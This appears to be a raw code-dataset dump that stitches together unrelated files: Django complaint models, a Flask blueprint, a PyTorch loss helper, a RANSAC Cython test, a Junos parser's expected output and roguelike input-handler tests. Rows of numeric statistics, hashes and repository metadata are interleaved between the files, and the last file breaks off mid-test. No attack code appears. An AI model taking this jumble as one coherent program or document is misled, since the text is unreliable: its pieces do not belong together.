kategori_pengaduan = models.ForeignKey(KategoriPengaduan, null=True, on_delete=models.SET_NULL)
keluhan = models.TextField(max_length=200, null=True)
date_created = models.DateTimeField(auto_now_add=True, null=True)
selesai = models.BooleanField(null=True)
kategori_penanganan = models.ForeignKey(KategoriPenanganan, null=True, on_delete=models.SET_NULL)
oleh = models.OneToOneField(User, null=True, blank=True, on_delete=models.CASCADE)
respon = models.TextField(null=True, blank=True)
def __str__(self):
return self.keluhan
class Pengaduans(models.Model):
client = models.ForeignKey(Client, null=True, on_delete=models.SET_NULL)
kategori_pengaduan = models.ForeignKey(KategoriPengaduan, null=True, on_delete=models.SET_NULL)
keluhan = models.TextField(max_length=200, null=True)
date_created = models.DateTimeField(auto_now_add=True, null=True)
selesai = models.BooleanField(null=True)
kategori_penanganan = models.ForeignKey(KategoriPenanganan, null=True, on_delete=models.SET_NULL)
respon = models.TextField(null=True, blank=True)
def __str__(self):
return self.keluhan
class Respons(models.Model):
pengaduan = models.ForeignKey(Pengaduans, null=True, on_delete=models.SET_NULL)
jawab = models.TextField(null=True)
created_at = models.DateTimeField(auto_now_add=True, null=True)
# class Respon(models.Model):
# pengaduan = models.ForeignKey(Pengaduan, null=True, on_delete=models.SET_NULL)
# oleh = models.OneToOneField(User, null=True, blank=True, on_delete=models.CASCADE)
# respon = models.TextField(max_length=200, null=True)
# date_created = models.DateTimeField(auto_now_add=True, null=True)
#
# def __str__(self):
# return self.respon
| 44.326087
| 101
| 0.757234
| 267
| 2,039
| 5.599251
| 0.198502
| 0.117726
| 0.080268
| 0.120401
| 0.845485
| 0.797324
| 0.783946
| 0.764548
| 0.737124
| 0.737124
| 0
| 0.005108
| 0.135851
| 2,039
| 45
| 102
| 45.311111
| 0.84336
| 0.195684
| 0
| 0.62069
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.068966
| false
| 0
| 0.137931
| 0.068966
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
b1c2be9bdbd9d37d21ee058423e6200422fa505e
| 99
|
py
|
Python
|
django-like/app_two/__init__.py
|
mirokrastev/flask-structures
|
fb7ad464c3df85be2e66229b2fd99a8da903b3c9
|
[
"MIT"
] | 1
|
2021-05-06T09:04:36.000Z
|
2021-05-06T09:04:36.000Z
|
django-like/app_two/__init__.py
|
mirokrastev/flask-structures
|
fb7ad464c3df85be2e66229b2fd99a8da903b3c9
|
[
"MIT"
] | null | null | null |
django-like/app_two/__init__.py
|
mirokrastev/flask-structures
|
fb7ad464c3df85be2e66229b2fd99a8da903b3c9
|
[
"MIT"
] | null | null | null |
from flask import Blueprint
app_two_bp = Blueprint('app_two', __name__)
from app_two import urls
| 16.5
| 43
| 0.79798
| 16
| 99
| 4.4375
| 0.5625
| 0.253521
| 0.422535
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.141414
| 99
| 5
| 44
| 19.8
| 0.835294
| 0
| 0
| 0
| 0
| 0
| 0.070707
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.666667
| 0
| 0.666667
| 0.666667
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
|
0
| 7
|
b1cc02232ba43546907c583da02a8e554abe1d0a
| 107
|
py
|
Python
|
pytorch-unet/model/loss.py
|
WAI-f/Pytorch-example
|
9f155ffa1fac60eeedf815efb53d39549182c436
|
[
"MIT"
] | 3
|
2021-02-01T02:03:17.000Z
|
2021-08-02T12:55:14.000Z
|
pytorch-unet/model/loss.py
|
WAI-f/Pytorch-example
|
9f155ffa1fac60eeedf815efb53d39549182c436
|
[
"MIT"
] | null | null | null |
pytorch-unet/model/loss.py
|
WAI-f/Pytorch-example
|
9f155ffa1fac60eeedf815efb53d39549182c436
|
[
"MIT"
] | 1
|
2022-02-14T07:11:18.000Z
|
2022-02-14T07:11:18.000Z
|
import torch.nn.functional as F
def cel_loss(output, target):
return F.cross_entropy(output, target)
| 17.833333
| 42
| 0.757009
| 17
| 107
| 4.647059
| 0.823529
| 0.303797
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.149533
| 107
| 5
| 43
| 21.4
| 0.868132
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
5913f687007ae00e66148c15b2d07f6385ebe0ff
| 12,913
|
py
|
Python
|
mb_aligner/common/test_ransac_cython.py
|
tomuram/mb_aligner_adisuissa
|
eaaa81fd7bc9ffc58c2683dc6cca8e2d5e90c11a
|
[
"MIT"
] | 3
|
2021-07-31T08:49:07.000Z
|
2022-01-04T08:51:43.000Z
|
mb_aligner/common/test_ransac_cython.py
|
Gilhirith/mb_aligner_SH
|
325a97711c5e34e9d55584a2cf6e1a93943a0c66
|
[
"MIT"
] | null | null | null |
mb_aligner/common/test_ransac_cython.py
|
Gilhirith/mb_aligner_SH
|
325a97711c5e34e9d55584a2cf6e1a93943a0c66
|
[
"MIT"
] | 3
|
2020-04-28T05:23:09.000Z
|
2021-04-13T20:10:00.000Z
|
import numpy as np
import time
import ransac as orig_ransac
#import pstats, cProfile
#import line_profiler
import pyximport
pyximport.install()
import ransac_cython
def test1():
print("**** Testing normal distribution with 500 points:")
N = 500
min_val = -2000
max_val = 3000
np.random.seed(7)
pts1 = np.random.random_sample((N, 2)).astype(np.float32) * (max_val - min_val) + min_val
# randomize theta, t_x, t_y
theta = np.float32(np.random.random_sample() * (0.1 - (-0.1)) + (-0.1))
t_x, t_y = np.random.random_sample(2).astype(np.float32) * (max_val - min_val) + min_val
print("Actual transformation: Theta {}, Tx {}, Ty {}".format(theta, t_x, t_y))
# apply the transformation
trans_mat = np.array([
[np.cos(theta), -np.sin(theta)],
[np.sin(theta), np.cos(theta)],
], dtype=np.float32)
pts2 = np.dot(trans_mat, pts1.T).T + np.array([t_x, t_y])
# Add some noise
pts2 += np.random.normal(scale=3, size=(N, 2))
iterations = 100
epsilon = 5.0
min_inlier_ratio = 0.05
min_num_inlier = 0.1 * N
max_rot_deg = 0.1
# out = ransac_cython.ransac(
# [pts1, pts2], [pts1, pts2],
# iterations,
# epsilon,
# min_inlier_ratio,
# min_num_inlier,
# 0, # det_delta
# 0, # max_stretch
# max_rot_deg,
# 0, # tri_angles_comparator
# )
st_time = time.time()
out = ransac_cython.ransac_rigid(
#np.array([pts1.T, pts2.T]), np.array([pts1.T, pts2.T]),
[pts1, pts2], [pts1, pts2],
iterations,
epsilon,
min_inlier_ratio,
min_num_inlier,
max_rot_deg
)
end_time = time.time()
print("Output is: {}, time: {} seconds".format(out[1], end_time - st_time))
def test2():
print("**** Testing 50% outliers with 500 points:")
N = 500
min_val = -2000
max_val = 3000
np.random.seed(7)
pts1 = np.random.random_sample((N, 2)).astype(np.float32) * (max_val - min_val) + min_val
# randomize theta, t_x, t_y
theta = np.float32(np.random.random_sample() * (0.1 - (-0.1)) + (-0.1))
t_x, t_y = np.random.random_sample(2).astype(np.float32) * (max_val - min_val) + min_val
print("Actual transformation: Theta {}, Tx {}, Ty {}".format(theta, t_x, t_y))
# apply the transformation
trans_mat = np.array([
[np.cos(theta), -np.sin(theta)],
[np.sin(theta), np.cos(theta)],
], dtype=np.float32)
pts2 = np.dot(trans_mat, pts1.T).T + np.array([t_x, t_y])
# Add some noise
outlier_mask = np.random.choice(N, int(N/2), replace=False)
pts2[outlier_mask] += np.random.normal(scale=30, size=(len(outlier_mask), 2)) + 10
iterations = 100
epsilon = 5.0
min_inlier_ratio = 0.05
min_num_inlier = 0.1 * N
max_rot_deg = 0.1
st_time = time.time()
# out = ransac_cython.ransac(
# [pts1, pts2], [pts1, pts2],
# iterations,
# epsilon,
# min_inlier_ratio,
# min_num_inlier,
# 0, # det_delta
# 0, # max_stretch
# max_rot_deg,
# 0, # tri_angles_comparator
# )
out = ransac_cython.ransac_rigid(
#np.array([pts1.T, pts2.T]), np.array([pts1.T, pts2.T]),
[pts1, pts2], [pts1, pts2],
iterations,
epsilon,
min_inlier_ratio,
min_num_inlier,
max_rot_deg
)
end_time = time.time()
print("Output is: {}, time: {} seconds".format(out[1], end_time - st_time))
def test3():
print("**** Testing number of matches is much smaller than iterations:")
N = 100
min_val = -2000
max_val = 3000
np.random.seed(7)
pts1 = np.random.random_sample((N, 2)).astype(np.float32) * (max_val - min_val) + min_val
# randomize theta, t_x, t_y
theta = np.float32(np.random.random_sample() * (0.1 - (-0.1)) + (-0.1))
t_x, t_y = np.random.random_sample(2).astype(np.float32) * (max_val - min_val) + min_val
print("Actual transformation: Theta {}, Tx {}, Ty {}".format(theta, t_x, t_y))
# apply the transformation
trans_mat = np.array([
[np.cos(theta), -np.sin(theta)],
[np.sin(theta), np.cos(theta)],
], dtype=np.float32)
pts2 = np.dot(trans_mat, pts1.T).T + np.array([t_x, t_y])
# Add some noise
pts2 += np.random.normal(scale=3, size=(N, 2))
iterations = 100000
epsilon = 5.0
min_inlier_ratio = 0.05
min_num_inlier = 0.1 * N
max_rot_deg = 0.1
st_time = time.time()
# out = ransac_cython.ransac(
# [pts1, pts2], [pts1, pts2],
# iterations,
# epsilon,
# min_inlier_ratio,
# min_num_inlier,
# 0, # det_delta
# 0, # max_stretch
# max_rot_deg,
# 0, # tri_angles_comparator
# )
out = ransac_cython.ransac_rigid(
#np.array([pts1.T, pts2.T]), np.array([pts1.T, pts2.T]),
[pts1, pts2], [pts1, pts2],
iterations,
epsilon,
min_inlier_ratio,
min_num_inlier,
max_rot_deg
)
end_time = time.time()
print("Output is: {}, time: {} seconds".format(out[1], end_time - st_time))
def test4():
print("**** Testing no-noise with 500 points:")
N = 500
min_val = -2000
max_val = 3000
np.random.seed(7)
pts1 = np.random.random_sample((N, 2)).astype(np.float32) * (max_val - min_val) + min_val
# randomize theta, t_x, t_y
theta = np.float32(np.random.random_sample() * (0.1 - (-0.1)) + (-0.1))
t_x, t_y = np.random.random_sample(2).astype(np.float32) * (max_val - min_val) + min_val
print("Actual transformation: Theta {}, Tx {}, Ty {}".format(theta, t_x, t_y))
# apply the transformation
trans_mat = np.array([
[np.cos(theta), -np.sin(theta)],
[np.sin(theta), np.cos(theta)],
], dtype=np.float32)
pts2 = np.dot(trans_mat, pts1.T).T + np.array([t_x, t_y])
iterations = 100
epsilon = 5.0
min_inlier_ratio = 0.05
min_num_inlier = 0.1 * N
max_rot_deg = 0.1
st_time = time.time()
# out = ransac_cython.ransac(
# [pts1, pts2], [pts1, pts2],
# iterations,
# epsilon,
# min_inlier_ratio,
# min_num_inlier,
# 0, # det_delta
# 0, # max_stretch
# max_rot_deg,
# 0, # tri_angles_comparator
# )
out = ransac_cython.ransac_rigid(
#np.array([pts1.T, pts2.T]), np.array([pts1.T, pts2.T]),
[pts1, pts2], [pts1, pts2],
iterations,
epsilon,
min_inlier_ratio,
min_num_inlier,
max_rot_deg
)
end_time = time.time()
print("Output is: {}, time: {} seconds".format(out[1], end_time - st_time))
def test5():
print("**** Testing normal distribution with 50000 points:")
N = 50000
min_val = -2000
max_val = 3000
np.random.seed(7)
pts1 = np.random.random_sample((N, 2)).astype(np.float32) * (max_val - min_val) + min_val
# randomize theta, t_x, t_y
theta = np.float32(np.random.random_sample() * (0.1 - (-0.1)) + (-0.1))
t_x, t_y = np.random.random_sample(2).astype(np.float32) * (max_val - min_val) + min_val
print("Actual transformation: Theta {}, Tx {}, Ty {}".format(theta, t_x, t_y))
# apply the transformation
trans_mat = np.array([
[np.cos(theta), -np.sin(theta)],
[np.sin(theta), np.cos(theta)],
], dtype=np.float32)
pts2 = np.dot(trans_mat, pts1.T).T + np.array([t_x, t_y])
# Add some noise
pts2 += np.random.normal(scale=3, size=(N, 2))
iterations = 100
epsilon = 5.0
min_inlier_ratio = 0.05
min_num_inlier = 0.1 * N
max_rot_deg = 0.1
out = None
st_time = time.time()
# func = ransac_cython.ransac_rigid
# profile = line_profiler.LineProfiler(func)
# profile.runcall(func, np.array([pts1.T, pts2.T]), np.array([pts1.T, pts2.T]),
# iterations,
# epsilon,
# min_inlier_ratio,
# min_num_inlier,
# max_rot_deg)
# cProfile.runctx("ransac_cython.ransac_rigid(\
# np.array([pts1.T, pts2.T]), np.array([pts1.T, pts2.T]),\
# iterations,\
# epsilon,\
# min_inlier_ratio,\
# min_num_inlier,\
# max_rot_deg\
# )", globals(), locals(), "Profile.prof")
out = ransac_cython.ransac_rigid(
#np.array([pts1.T, pts2.T]), np.array([pts1.T, pts2.T]),
[pts1, pts2], [pts1, pts2],
iterations,
epsilon,
min_inlier_ratio,
min_num_inlier,
max_rot_deg
)
end_time = time.time()
print("Output is: {}, time: {} seconds".format(out[1], end_time - st_time))
# assert_stats(profile, func.__name__)
# s = pstats.Stats("Profile.prof")
# s.strip_dirs().sort_stats("time").print_stats()
print("Running original ransac")
target_model_type = 1
st_time = time.time()
out = orig_ransac.ransac(np.array([pts1, pts2]), np.array([pts1, pts2]),
target_model_type,
iterations,
epsilon,
min_inlier_ratio,
min_num_inlier,
det_delta=None,
max_stretch=None,
max_rot_deg=None,
tri_angles_comparator=None)
end_time = time.time()
print("Output (original ransac) is: {}, time: {} seconds".format(out[1].to_str(), end_time - st_time))
def test6():
print("**** Testing normal distribution with 50000 points, 50000 iterations:")
N = 50000
min_val = -2000
max_val = 3000
np.random.seed(7)
pts1 = np.random.random_sample((N, 2)).astype(np.float32) * (max_val - min_val) + min_val
# randomize theta, t_x, t_y
theta = np.float32(np.random.random_sample() * (0.1 - (-0.1)) + (-0.1))
t_x, t_y = np.random.random_sample(2).astype(np.float32) * (max_val - min_val) + min_val
print("Actual transformation: Theta {}, Tx {}, Ty {}".format(theta, t_x, t_y))
# apply the transformation
trans_mat = np.array([
[np.cos(theta), -np.sin(theta)],
[np.sin(theta), np.cos(theta)],
], dtype=np.float32)
pts2 = np.dot(trans_mat, pts1.T).T + np.array([t_x, t_y])
# Add some noise
pts2 += np.random.normal(scale=3, size=(N, 2))
iterations = 50000
epsilon = 5.0
min_inlier_ratio = 0.05
min_num_inlier = 0.1 * N
max_rot_deg = 0.1
out = None
st_time = time.time()
# func = ransac_cython.ransac_rigid
# profile = line_profiler.LineProfiler(func)
# profile.runcall(func, np.array([pts1.T, pts2.T]), np.array([pts1.T, pts2.T]),
# iterations,
# epsilon,
# min_inlier_ratio,
# min_num_inlier,
# max_rot_deg)
# cProfile.runctx("ransac_cython.ransac_rigid(\
# np.array([pts1.T, pts2.T]), np.array([pts1.T, pts2.T]),\
# iterations,\
# epsilon,\
# min_inlier_ratio,\
# min_num_inlier,\
# max_rot_deg\
# )", globals(), locals(), "Profile.prof")
out = ransac_cython.ransac_rigid(
#np.array([pts1.T, pts2.T]), np.array([pts1.T, pts2.T]),
[pts1, pts2], [pts1, pts2],
iterations,
epsilon,
min_inlier_ratio,
min_num_inlier,
max_rot_deg
)
end_time = time.time()
print("Output is: {}, time: {} seconds".format(out[1], end_time - st_time))
# assert_stats(profile, func.__name__)
# s = pstats.Stats("Profile.prof")
# s.strip_dirs().sort_stats("time").print_stats()
print("Running original ransac - Very slow, uncomment if needed")
# target_model_type = 1
# st_time = time.time()
# out = orig_ransac.ransac(np.array([pts1, pts2]), np.array([pts1, pts2]),
# target_model_type,
# iterations,
# epsilon,
# min_inlier_ratio,
# min_num_inlier,
# det_delta=None,
# max_stretch=None,
# max_rot_deg=None,
# tri_angles_comparator=None)
# end_time = time.time()
#
# print("Output (original ransac) is: {}, time: {} seconds".format(out[1].to_str(), end_time - st_time))
def assert_stats(profile, name):
profile.print_stats()
stats = profile.get_stats()
assert len(stats.timings) > 0, "No profile stats."
for key, timings in stats.timings.items():
if key[-1] == name:
assert len(timings) > 0
break
else:
raise ValueError("No stats for %s." % name)
if __name__ == '__main__':
test1()
test2()
test3()
test4()
test5()
test6()
| 29.822171
| 108
| 0.56145
| 1,765
| 12,913
| 3.889518
| 0.086119
| 0.036708
| 0.031464
| 0.013984
| 0.905025
| 0.900656
| 0.900656
| 0.887546
| 0.885506
| 0.885506
| 0
| 0.047541
| 0.288159
| 12,913
| 432
| 109
| 29.891204
| 0.699304
| 0.299698
| 0
| 0.759657
| 0
| 0
| 0.105186
| 0
| 0
| 0
| 0
| 0
| 0.012876
| 1
| 0.030043
| false
| 0
| 0.025751
| 0
| 0.055794
| 0.094421
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
3cc0ed56f085241c7e6e8fcd59a405028aadee1b
| 3,245
|
py
|
Python
|
src/genie/libs/parser/junos/tests/ShowKrtQueue/cli/equal/golden_output_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 204
|
2018-06-27T00:55:27.000Z
|
2022-03-06T21:12:18.000Z
|
src/genie/libs/parser/junos/tests/ShowKrtQueue/cli/equal/golden_output_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 468
|
2018-06-19T00:33:18.000Z
|
2022-03-31T23:23:35.000Z
|
src/genie/libs/parser/junos/tests/ShowKrtQueue/cli/equal/golden_output_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 309
|
2019-01-16T20:21:07.000Z
|
2022-03-30T12:56:41.000Z
|
expected_output = {
"krt-queue-information": {
"krt-queue": [
{"krtq-queue-length": "0", "krtq-type": "Routing table add queue"},
{
"krtq-queue-length": "0",
"krtq-type": "Interface add/delete/change queue",
},
{"krtq-queue-length": "0", "krtq-type": "Top-priority deletion queue"},
{"krtq-queue-length": "0", "krtq-type": "Top-priority change queue"},
{"krtq-queue-length": "0", "krtq-type": "Top-priority add queue"},
{
"krtq-queue-length": "0",
"krtq-type": "high priority V4oV6 tcnh delete queue",
},
{
"krtq-queue-length": "0",
"krtq-type": "high prioriy anchor gencfg delete queue",
},
{
"krtq-queue-length": "0",
"krtq-type": "High-priority multicast add/change",
},
{
"krtq-queue-length": "0",
"krtq-type": "Indirect next hop top priority add/change",
},
{"krtq-queue-length": "0", "krtq-type": "Indirect next hop add/change"},
{
"krtq-queue-length": "0",
"krtq-type": "high prioriy anchor gencfg add-change queue",
},
{"krtq-queue-length": "0", "krtq-type": "MPLS add queue"},
{"krtq-queue-length": "0", "krtq-type": "Indirect next hop delete"},
{"krtq-queue-length": "0", "krtq-type": "High-priority deletion queue"},
{"krtq-queue-length": "0", "krtq-type": "MPLS change queue"},
{"krtq-queue-length": "0", "krtq-type": "High-priority change queue"},
{"krtq-queue-length": "0", "krtq-type": "High-priority add queue"},
{
"krtq-queue-length": "0",
"krtq-type": "Normal-priority indirect next hop queue",
},
{"krtq-queue-length": "0", "krtq-type": "Normal-priority deletion queue"},
{
"krtq-queue-length": "0",
"krtq-type": "Normal-priority composite next hop deletion queue",
},
{
"krtq-queue-length": "0",
"krtq-type": "Low prioriy Statistics-id-group deletion queue",
},
{"krtq-queue-length": "0", "krtq-type": "Normal-priority change queue"},
{"krtq-queue-length": "0", "krtq-type": "Normal-priority add queue"},
{"krtq-queue-length": "0", "krtq-type": "Least-priority delete queue"},
{"krtq-queue-length": "0", "krtq-type": "Least-priority change queue"},
{"krtq-queue-length": "0", "krtq-type": "Least-priority add queue"},
{
"krtq-queue-length": "0",
"krtq-type": "Normal-priority pfe table nexthop queue",
},
{"krtq-queue-length": "0", "krtq-type": "EVPN gencfg queue"},
{"krtq-queue-length": "0", "krtq-type": "Normal-priority gmp queue"},
{"krtq-queue-length": "0", "krtq-type": "Routing table delete queue"},
{"krtq-queue-length": "0", "krtq-type": "Low priority route retry queue"},
]
}
}
| 47.720588
| 86
| 0.489368
| 338
| 3,245
| 4.695266
| 0.12426
| 0.175803
| 0.293006
| 0.312539
| 0.875236
| 0.875236
| 0.875236
| 0.856963
| 0.728418
| 0.364209
| 0
| 0.015235
| 0.332512
| 3,245
| 67
| 87
| 48.432836
| 0.717452
| 0
| 0
| 0.149254
| 0
| 0
| 0.549461
| 0.006471
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
59790504296857e8b3eebebd468f79a22df75615
| 89,362
|
py
|
Python
|
Tests/test_input_handlers.py
|
nuzcraft/RLTut_Python3
|
3bdd5343c16eb165473562d59adee78f0900f5cd
|
[
"MIT"
] | null | null | null |
Tests/test_input_handlers.py
|
nuzcraft/RLTut_Python3
|
3bdd5343c16eb165473562d59adee78f0900f5cd
|
[
"MIT"
] | 1
|
2022-02-17T04:20:56.000Z
|
2022-02-17T04:20:56.000Z
|
Tests/test_input_handlers.py
|
nuzcraft/RLTut_Python3
|
3bdd5343c16eb165473562d59adee78f0900f5cd
|
[
"MIT"
] | null | null | null |
import unittest
from unittest.mock import patch
import tcod.event
from tcod.console import Console
from input_handlers import (
BaseEventHandler,
EventHandler,
MainGameEventHandler,
GameOverEventHandler,
HistoryViewer,
AskUserEventHandler,
InventoryEventHandler,
InventoryActivateHandler,
InventoryDropHandler,
SelectIndexHandler,
LookHandler,
SingleRangedAttackHandler,
AreaRangedAttackHandler,
PopupMessage,
LevelUpEventHandler,
CharacterScreenEventHandler,
)
from actions import (
BumpAction,
WaitAction,
PickupAction,
DropItem,
ItemAction,
Action,
TakeStairAction,
EquipAction,
)
from engine import Engine
from entity import Entity, Actor, Item
from game_map import GameMap, GameWorld
from exceptions import Impossible
from components.ai import BaseAI
from components.equipment import Equipment
from components.equippable import Dagger
from components.fighter import Fighter
from components.inventory import Inventory
from components.consumable import Consumable
from components.level import Level
import color
class TestBaseEventHandler(unittest.TestCase):
def test_handle_events_event_handler(self):
'''
test that if the event returns an event handler,
the event handler is returned
'''
eh = BaseEventHandler()
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.UP, sym=tcod.event.K_UP, mod=tcod.event.Modifier.NONE
)
with patch('tcod.event.EventDispatch.dispatch') as patch_dispatch:
patch_dispatch.return_value = BaseEventHandler()
eh2 = eh.handle_events(event=event)
self.assertIsInstance(eh2, BaseEventHandler)
def test_handle_events_action(self):
'''
test that if the event returns an action,
the an exception is raised
'''
eh = BaseEventHandler()
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.UP, sym=tcod.event.K_UP, mod=tcod.event.Modifier.NONE
)
with patch('tcod.event.EventDispatch.dispatch') as patch_dispatch:
patch_dispatch.return_value = Action(entity=Entity())
with self.assertRaises(Exception):
action = eh.handle_events(event=event)
def test_handle_events_other(self):
'''
test that if the event returns something that is not an action
or an event handler, the base event handler is returned
'''
eh = BaseEventHandler()
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.UP, sym=tcod.event.K_UP, mod=tcod.event.Modifier.NONE
)
with patch('tcod.event.EventDispatch.dispatch') as patch_dispatch:
patch_dispatch.return_value = None
eh2 = eh.handle_events(event=event)
self.assertIsInstance(eh2, BaseEventHandler)
def test_on_render(self):
'''
test that on_render will raise a NotImplementedError
'''
eh = BaseEventHandler()
console = Console(width=10, height=10, order='F')
with self.assertRaises(NotImplementedError):
eh.on_render(console=console)
def test_ev_quit(self):
'''
test that ev_quit will raise a SystemExit
'''
eh = BaseEventHandler()
event = tcod.event.Quit()
with self.assertRaises(SystemExit):
eh.ev_quit(event=event)
class Test_PopupMessage(unittest.TestCase):
def test_init(self):
'''
test that the popup message can be initialized correctly
'''
pop = PopupMessage(parent_handler=BaseEventHandler(), text="string")
self.assertIsInstance(pop.parent, BaseEventHandler)
self.assertEqual(pop.text, "string")
def test_on_render(self):
'''
verify that the parent is rendered as expected then an additional print is
called with the correct parameters
'''
pop = PopupMessage(parent_handler=BaseEventHandler(), text="string")
console = Console(width=10, height=10, order='F')
with patch('input_handlers.BaseEventHandler.on_render') as patch_on_render:
with patch('tcod.console.Console.print') as patch_print:
pop.on_render(console=console)
patch_on_render.assert_called_once()
patch_print.assert_called_with(
5, 5, "string", fg=color.white, bg=color.black, alignment=tcod.CENTER)
def test_ev_keydown(self):
'''
verify that sending a keydown will return the parent
'''
pop = PopupMessage(parent_handler=BaseEventHandler(), text="string")
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.UP, sym=tcod.event.K_UP, mod=tcod.event.Modifier.NONE
)
ret = pop.ev_keydown(event=event)
self.assertIsInstance(ret, BaseEventHandler)
class Test_EventHandler(unittest.TestCase):
def test_init(self):
'''
test that initializing the event handler sets correctly
'''
ent = Entity()
eng = Engine(player=ent)
event_handler = EventHandler(engine=eng)
self.assertEqual(event_handler.engine, eng)
def test_handle_events_event_handler(self):
'''
test that the handle_events will return an event handler
if the action would return an event_handler
'''
ent = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=ent)
event_handler = EventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.UP, sym=tcod.event.K_UP, mod=tcod.event.Modifier.NONE
)
with patch('tcod.event.EventDispatch.dispatch') as patch_dispatch:
patch_dispatch.return_value = BaseEventHandler()
eh = event_handler.handle_events(event=event)
self.assertIsInstance(eh, BaseEventHandler)
def test_handle_events_other(self):
'''
test that the handle_events will return the calling event handler
when the input event doesn't return an event handler or action
'''
ent = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=ent)
event_handler = EventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.UP, sym=tcod.event.K_UP, mod=tcod.event.Modifier.NONE
)
with patch('tcod.event.EventDispatch.dispatch') as patch_dispatch:
patch_dispatch.return_value = None
eh = event_handler.handle_events(event=event)
self.assertIsInstance(eh, EventHandler)
def test_handle_events_action_alive(self):
'''
test that the handle_events will return a MainGameEventHandler
when the action is successful and the player is alive
'''
ent = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=ent)
event_handler = EventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.UP, sym=tcod.event.K_UP, mod=tcod.event.Modifier.NONE
)
with patch('tcod.event.EventDispatch.dispatch') as patch_dispatch:
patch_dispatch.return_value = Action(entity=ent)
with patch('input_handlers.EventHandler.handle_action') as patch_handle_action:
patch_handle_action.return_value = True
eh = event_handler.handle_events(event=event)
self.assertIsInstance(eh, MainGameEventHandler)
def test_handle_events_action_dead(self):
'''
test that the handle_events will return a GameOverEventHandler
when the action is successful and the player is dead
'''
ent = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level()
)
eng = Engine(player=ent)
gm = GameMap(engine=eng, width=10, height=10)
ent.parent = gm
eng.game_map = gm
ent.fighter.hp = 0
event_handler = EventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.UP, sym=tcod.event.K_UP, mod=tcod.event.Modifier.NONE
)
with patch('tcod.event.EventDispatch.dispatch') as patch_dispatch:
patch_dispatch.return_value = Action(entity=ent)
with patch('input_handlers.EventHandler.handle_action') as patch_handle_action:
patch_handle_action.return_value = True
eh = event_handler.handle_events(event=event)
self.assertIsInstance(eh, GameOverEventHandler)
def test_handle_events_action_level_up(self):
'''
test that the handle_events will return a LevelUpEventHandler
when the action is successful and the player is a alive and needs to level up
'''
ent = Actor(
ai_cls=BaseAI, equipment=Equipment(),
fighter=Fighter(hp=10, base_defense=10, base_power=10),
inventory=Inventory(capacity=5),
level=Level(current_xp=1000, level_up_base=200)
)
eng = Engine(player=ent)
gm = GameMap(engine=eng, width=10, height=10)
ent.parent = gm
eng.game_map = gm
event_handler = EventHandler(engine=eng)
event = tcod.event.KeyDown(
scancode=tcod.event.Scancode.UP, sym=tcod.event.K_UP, mod=tcod.event.Modifier.NONE
)
with patch('tcod.event.EventDispatch.dispatch') as patch_dispatch:
patch_dispatch.return_value = Action(entity=ent)
with patch('input_handlers.EventHandler.handle_action') as patch_handle_action:
patch_handle_action.return_value = True
eh = event_handler.handle_events(event=event)
